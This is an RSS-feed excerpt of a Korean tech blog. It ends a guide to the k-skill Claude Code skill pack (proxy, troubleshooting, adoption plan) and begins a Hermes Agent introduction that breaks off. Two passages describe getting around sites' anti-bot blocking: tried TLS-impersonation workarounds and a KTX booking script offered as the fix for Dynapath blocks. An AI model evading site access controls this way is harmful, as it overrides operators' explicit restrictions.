&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: 위 명령어는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs&lt;/a&gt;의 기능 목록(README 기준)을 참고한 예시 형태다. 실제 CLI 파라미터 상세 및 옵션은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 GitHub 문서&lt;/a&gt;를 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. k-skill-proxy &amp;mdash; 사용자 API key 없이 쓰는 법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k-skill-proxy는 공공 API(기상청, 한강홍수통제소 등)의 upstream key를 서버에서만 관리하는 무료 hosted proxy 서버다. 사용자는 API key 발급 없이 proxy 경유로 이용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;proxy 서버는 upstream 환경변수 &lt;code&gt;SEOUL_OPEN_API_KEY&lt;/code&gt;, &lt;code&gt;KMA_OPEN_API_KEY&lt;/code&gt;, &lt;code&gt;AIR_KOREA_OPEN_API_KEY&lt;/code&gt;, &lt;code&gt;HRFCO_OPEN_API_KEY&lt;/code&gt;, &lt;code&gt;OPINET_API_KEY&lt;/code&gt;, &lt;code&gt;DATA_GO_KR_API_KEY&lt;/code&gt;, &lt;code&gt;KRX_API_KEY&lt;/code&gt; 등을 서버에서만 관리한다. 일반 사용자의 secrets 파일에는 넣지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 hosted proxy(&lt;code&gt;k-skill-proxy.nomadamas.org&lt;/code&gt;)를 바로 쓸 수 있는 기능은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;미세먼지 조회&lt;/li&gt;
&lt;li&gt;한강 수위 정보 조회&lt;/li&gt;
&lt;li&gt;주유소 가격 조회&lt;/li&gt;
&lt;li&gt;부동산 실거래가 조회&lt;/li&gt;
&lt;li&gt;한국 주식 정보 조회&lt;/li&gt;
&lt;li&gt;생활쓰레기 배출정보 조회&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서울 지하철 도착정보와 한국 날씨 조회는 hosted public route rollout이 끝나기 전까지 &lt;code&gt;KSKILL_PROXY_BASE_URL&lt;/code&gt;을 self-host 또는 배포 확인된 proxy URL로 채워야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 클라이언트 API 레이어는 불필요하며, 필요한 경우 k-skill-proxy 같은 proxy 서버에 HTTP 요청만 넣으면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;k-skill-proxy.nomadamas.org 운영 안내&lt;/b&gt;: 이 proxy는 커뮤니티 운영 호스팅 서버로, 프로덕션 수준의 가용성을 보장하지 않는다. rate limit, 다운타임, 예고 없는 정책 변경이 발생할 수 있다. 안정적인 운영 환경이 필요하면 self-host를 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 블루리본 스킬 지원 중단 안내&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;블루리본 맛집 스킬은 현재 동작하지 않는다.&lt;/b&gt; 블루리본 측이 &lt;code&gt;www.bluer.co.kr&lt;/code&gt;에 자동화 접근을 전면 차단(nginx 단 403 반환)했다. 브라우저, curl, Playwright, TLS impersonation 등 가능한 우회를 모두 시도했지만 차단이 유지되고 있으며, 같은 공인 IP 대역에서도 특정 장비만 차단되는 사례가 관측됐다. 유료 회원권 보유자도 접근이 막히는 상황이다. 복구 일정은 미정이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블루리본 외의 맛집 정보가 필요하다면 근처 술집 조회(카카오맵 panel3 기반)를 대안으로 활용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. npx가 없다고 나온다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Node.js 18+ 계열 런타임을 먼저 설치해야 한다. npx, pnpm dlx, bunx 중 하나만 있으면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. skills 명령이 글로벌 설치 권한 에러로 실패한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;-g&lt;/code&gt; 플래그 없이 로컬 설치하거나, npm의 global 디렉토리 권한을 수정한다. 또는 nvm으로 관리되는 Node 환경에서는 권한 문제가 발생하지 않는 경우가 많다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. KTX 예매 시 MACRO ERROR가 발생한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;korail2 0.4.0 단독 사용 시 Dynapath anti-bot에 막히는 현상이다. k-skill의 &lt;code&gt;scripts/ktx_booking.py&lt;/code&gt;를 사용해야 한다. Python 3.10+ 및 &lt;code&gt;korail2&lt;/code&gt;, &lt;code&gt;pycryptodome&lt;/code&gt; 설치 여부를 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. 올리브영 npm 설치 시 EBADENGINE 경고가 뜬다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upstream &lt;code&gt;daiso&lt;/code&gt; 패키지의 engines.node가 &lt;code&gt;&amp;gt;=20 &amp;lt;21&lt;/code&gt;이기 때문이다. Node 22 환경에서도 smoke test는 통과했지만, 안정적 사용을 위해 Node 20 LTS를 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. 한국 날씨나 지하철 기능이 동작하지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;KSKILL_PROXY_BASE_URL&lt;/code&gt;을 self-host 또는 별도 배포된 proxy URL로 설정해야 한다. 미세먼지&amp;middot;한강수위와 달리, 이 두 기능은 기본 hosted proxy rollout이 아직 완료되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 10: 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; 언제 쓰고 언제 쓰지 않는가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;결정 매트릭스&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;k-skill 사용 권장?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 또는 지원 클라이언트를 이미 쓰고 있다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;강력 추천 &amp;mdash; 설치 5분이면 31개 기능이 생긴다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;KTX/SRT 예매를 자주 한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추천 &amp;mdash; 검색&amp;middot;예약까지 자동화 (결제는 직접)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다이소&amp;middot;올리브영 매장 재고를 자주 확인한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추천 &amp;mdash; 로그인 없이 바로 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한강 수위, 날씨, 로또 결과 등 정보 조회가 많다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추천 &amp;mdash; proxy 기반 무료 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Node.js 환경이 없다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비권장 &amp;mdash; Node 18+ 설치가 선행되어야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;블루리본 맛집 검색이 목적이다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비권장 &amp;mdash; 현재 지원 중단 상태&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;KTX/SRT 결제까지 자동화하고 싶다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불가 &amp;mdash; 예약까지만 자동화, 결제는 직접&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Node.js 환경이 갖춰진 Claude Code 사용자라면 설치 5분으로 한국 생활 자동화 31가지를 즉시 확보할 수 있고, KTX&amp;middot;SRT 예매처럼 로그인이 필요한 기능도 환경변수 설정만으로 바로 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오늘 시작하는 k-skill 도입 플레이북&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘 (5분)&lt;/b&gt;: Node 18+ 확인 &amp;rarr; &lt;code&gt;npx --yes skills add NomaDamas/k-skill --all -g&lt;/code&gt; &amp;rarr; k-skill-setup 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: 한강 수위, 로또 조회, 올리브영 재고 확인 등 로그인 불필요 스킬부터 써본다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다음 주&lt;/b&gt;: KTX/SRT 환경변수 설정 후 예매 자동화 시도. Python 3.10+ 환경 확인 필수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;한국인이면 깃허브 스타 눌러줍시다&quot;라는 README의 한 줄이 그냥 나온 게 아니다. 한국 생활 밀착형 자동화를 Claude Code에서 바로 쓸 수 있게 해주는 프로젝트, k-skill이 그 답이다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출처 목록&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/install.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/install.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/setup.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/setup.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/security-and-secrets.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/security-and-secrets.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/ktx-booking.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/ktx-booking.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/daiso-product-search.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/daiso-product-search.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/olive-young-search.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/olive-young-search.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/kakao-bar-nearby.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/kakao-bar-nearby.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/han-river-water-level.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/han-river-water-level.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/korea-weather.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/korea-weather.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/docs/features/lotto-results.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill docs/features/lotto-results.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill/blob/main/k-skill-setup/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill-setup/SKILL.md&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>AI 에이전트</category>
      <category>claude code</category>
      <category>Claude Code 활용법</category>
      <category>k-skill</category>
      <category>k-skill 설치</category>
      <category>KTX 예매 자동화</category>
      <category>OpenClaw</category>
      <category>srt 예매</category>
      <category>다이소 재고</category>
      <category>한국 스킬</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/579</guid>
      <comments>https://goddaehee.tistory.com/579#entry579comment</comments>
      <pubDate>Sun, 12 Apr 2026 16:17:50 +0900</pubDate>
    </item>
    <item>
      <title>Hermes Agent(1) 시작하기 : 쓸수록 똑똑해지는 AI 에이전트(자가학습 메커니즘) - Hermes Agent로 반복 업무 자동화하기</title>
      <link>https://goddaehee.tistory.com/577</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DBIB7/dJMcaduLXWX/mEsLIrfev1XzKfYuqvJaO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDBIB7%2FdJMcaduLXWX%2FmEsLIrfev1XzKfYuqvJaO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1082&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude에게 프로젝트 구조를 설명했는데, 다음 세션에서 또 처음부터 설명하고 있는 자신을 발견한 적 있는가? 대부분의 AI 에이전트는 세션이 끝나면 모든 맥락을 잃는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent는 이 문제를 정면으로 다룬다. 슬로건이 &lt;b&gt;&quot;The agent that grows with you&quot;&lt;/b&gt;인데, 같은 유형의 작업을 반복하면 패턴을 마크다운 스킬 파일로 저장해서, 다음에 비슷한 요청이 들어오면 처음부터 하지 않고 학습된 방식으로 처리한다. 실측으로 동일 작업에서 40% 속도 향상이 보고됐다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 직접 설치해보면서 겪은 내용을 중심으로, 자가학습이 실제로 어떻게 동작하는지, 비용은 얼마나 드는지, 그리고 솔직한 한계까지 정리한다.&lt;/p&gt;
&lt;!-- TL;DR --&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #0066cc; border-radius: 12px; padding: 20px 25px; margin: 15px 0 25px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3줄 요약&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Hermes Agent는 반복 작업 패턴을 스킬로 자동 학습하고, 세션 간 기억을 유지하는 오픈소스 AI 에이전트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. curl 한 줄로 설치, 터미널/Telegram/Discord 등 15+ 플랫폼에서 원격 제어 가능. 월 비용은 API 종량제 기준 $10~$80 수준.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 단, IDE 통합 없음, 토큰 오버헤드 73%, 미해결 보안 이슈(RCE), 50회 이상 반복해야 학습 효과 체감 &amp;mdash; 프로덕션 투입 전 반드시 검토 필요.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이런 분에게 추천&lt;/b&gt;: 반복 작업을 자동화하고 싶은 개발자, VPS에서 24/7 에이전트를 돌리고 싶은 사람, OpenClaw에서 넘어올 곳을 찾는 사람&lt;br /&gt;&lt;b&gt;추천하지 않는 경우&lt;/b&gt;: IDE 안에서 인라인 코드 어시스턴트가 필요한 경우, 단발성 1회 작업, Windows 네이티브 환경&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;프로젝트 개요 및 Nous Research 배경&lt;/li&gt;
&lt;li&gt;설치 및 시작하기&lt;/li&gt;
&lt;li&gt;핵심 기능 상세 (Image Generation 연결 포함)&lt;/li&gt;
&lt;li&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li&gt;소스코드 핵심 분석&lt;/li&gt;
&lt;li&gt;활용법 및 통합&lt;/li&gt;
&lt;li&gt;실전 사용 예시&lt;/li&gt;
&lt;li&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;자율 에이전트 트렌드 맥락&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 프로젝트 개요 및 Nous Research 배경&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Nous Research는 어떤 곳인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nous Research는 공식 사이트, Hermes Agent 공식 문서, Hugging Face 조직 페이지를 통해 Hermes 계열 모델과 에이전트 소프트웨어를 공개하는 연구 조직임을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent 공식 소개 문구는 이를 &quot;The self-improving AI agent built by Nous Research&quot;라고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://nousresearch.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Nous Research 공식 사이트&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent 공식 문서&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://huggingface.co/NousResearch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hugging Face NousResearch 조직 페이지&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;저장소 지표 (2026-04-09 기준)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;규모 (실시간 변동)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub 스타&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;41,273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;포크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;5,273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오픈 이슈+PR&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2,306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본 브랜치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;main&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
